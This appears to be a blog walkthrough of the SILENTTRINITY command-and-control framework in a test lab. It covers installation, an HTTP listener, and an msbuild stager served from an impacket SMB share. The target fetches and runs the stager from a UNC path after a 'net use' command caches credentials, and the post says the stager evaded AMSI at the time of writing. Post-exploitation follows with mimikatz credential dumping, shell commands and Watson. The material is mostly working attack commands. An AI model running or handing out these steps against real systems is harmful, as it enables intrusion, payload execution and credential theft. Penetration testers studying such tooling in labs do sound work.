SILENTTRINITY is a tool made by byt3bl33d3r which uses Ironpython for awesome C2 and post exploitation. I'll refer to it as ST in this article.
Install the tool and its dependencies, then start it. I've included the manual installation of the latest and greatest impacket here too.
#Install depscd /optgit clone https://github.com/SecureAuthCorp/impacket.gitcd impacketpip install -r requirements.txtpython setup.py install#Install STapt install python3.7 python3.7-dev python3-pipgit clone https://github.com/byt3bl33d3r/SILENTTRINITYcd SILENTTRINITY/Serverpython3.7 -m pip install -r requirements.txt#Start it uppython3.7 st.py
Proceed with selecting a listener, binding it to an IP + port and starting it. And btw I set my BindIP to a different subnet because I am connected to my test lab using VPN. Nothing magic going on.
listenerslistuse httpoptionsset BindIP 10.0.8.6start
Proceed to generate a stager. It will end up in the
stagerslistuse msbuildgenerate http
Now, find an appropriate way of downloading and triggering the stager. As per November 2018, the msbuild stager payloads still haven't triggered AMSI on Windows 10 1803.
A neat trick is using an SMB server for serving the payload. Download and trigger it it with
msbuild and the UNC path to your SMB server as argument.
First create a share folder and then start the SMB server from impacket.
mkdir /opt/SMBsmbserver.py SMB /opt/SMB -username hacker -password hacker -smb2support -ip 10.0.8.6
Now we try to trigger the payload with msbuild, but it fails because we aren't authenticated.
cp /opt/SILENTTRINITY/Server/msbuild.xml /opt/SMB/msbuild.xmlC:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe \\10.0.8.6\SMB\msbuild.xml
So why did we specify credentials then? On Windows 10 you can't use SMB unauthenticated by default. And as far as I know there isn't a way to give msbuild credentials directly. So I fiddled around and find a little trick to cache some credentials for my SMB server on the host. As you see I use hacker/hacker for authentication. Very secure of course. On the target, trigger an authenticated
net use command. This should try to access the SMB share with the specified credentials, and therefore cache them locally on the target. From an opsec perspective this isn’t ideal, so if you have suggestions please reach out.
net use \\10.0.8.6\smb /user:hacker hacker
We see that we get a successful authentication and a NetNTLMv2 hash instantly. So now with cached credentials on the target, let's try to trigger our payload again.
Voila! Something started happening. Let's check back in ST.
Like sweet magic, we got a session. The authentication reuses the credentials that were cached.
Now we list the session we just acquired. Because I triggered the payload from an elevated shell, we have a session with elevated privileges. That allows us to do things like dump credentials and other kinds of post exploitation fun.
So let's explore some of the post exploitation modules that ST has to offer. As you can see, ST has a lot of built in modules already and by the looks of it, there are more to come.
Let's select the
mimikatz module and run it towards our session. Word of notice here, you have to copy the GUID from the session list so you have it ready. You can alternatively use
run all to run it on all session, if you have several sessions.
moduleslistuse mimikatzoptionsrun GUID
Running the shell module for good measure
modulesuse shelloptionsset Command whoamirun GUID
Trying the execute-assembly module with Watson. Actually noticed at this point that ST starts autocompleting the GUID for the session I'm working on. Right arrow on the keyboard to complete it.
modulesuse execute-assemblyoptionsset Assembly /opt/Watson.exerun GUID
Didn't find anything on my patched Windows 10 1803 VM, but that's ok.
Thanks @byt3bl33d3r for an awesome C2 platform.